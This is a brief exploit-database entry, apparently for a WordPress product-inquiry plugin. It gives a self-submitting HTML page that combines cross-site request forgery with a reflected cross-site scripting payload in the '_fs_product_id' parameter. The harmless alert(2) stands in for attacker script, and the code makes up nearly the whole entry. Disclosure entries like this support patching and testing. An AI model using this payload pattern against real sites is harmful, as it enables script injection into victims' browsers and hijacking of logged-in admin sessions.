## https://sploitus.com/exploit?id=WPEX-ID:6CF90A27-55E2-4B2C-9DF1-5FA34C1BD9D1
Have any user (admin or unauthenticated) open an HTML page with the following:
```
<body onload="document.forms[0].submit()"><form action="http://wps-test.ddev.site/fspi-product-inquiry/" method="POST"><input type="text" name="_fs_product_id" value='"><script>alert(2)</script>'><input type="submit" value="submit"></form></body>
```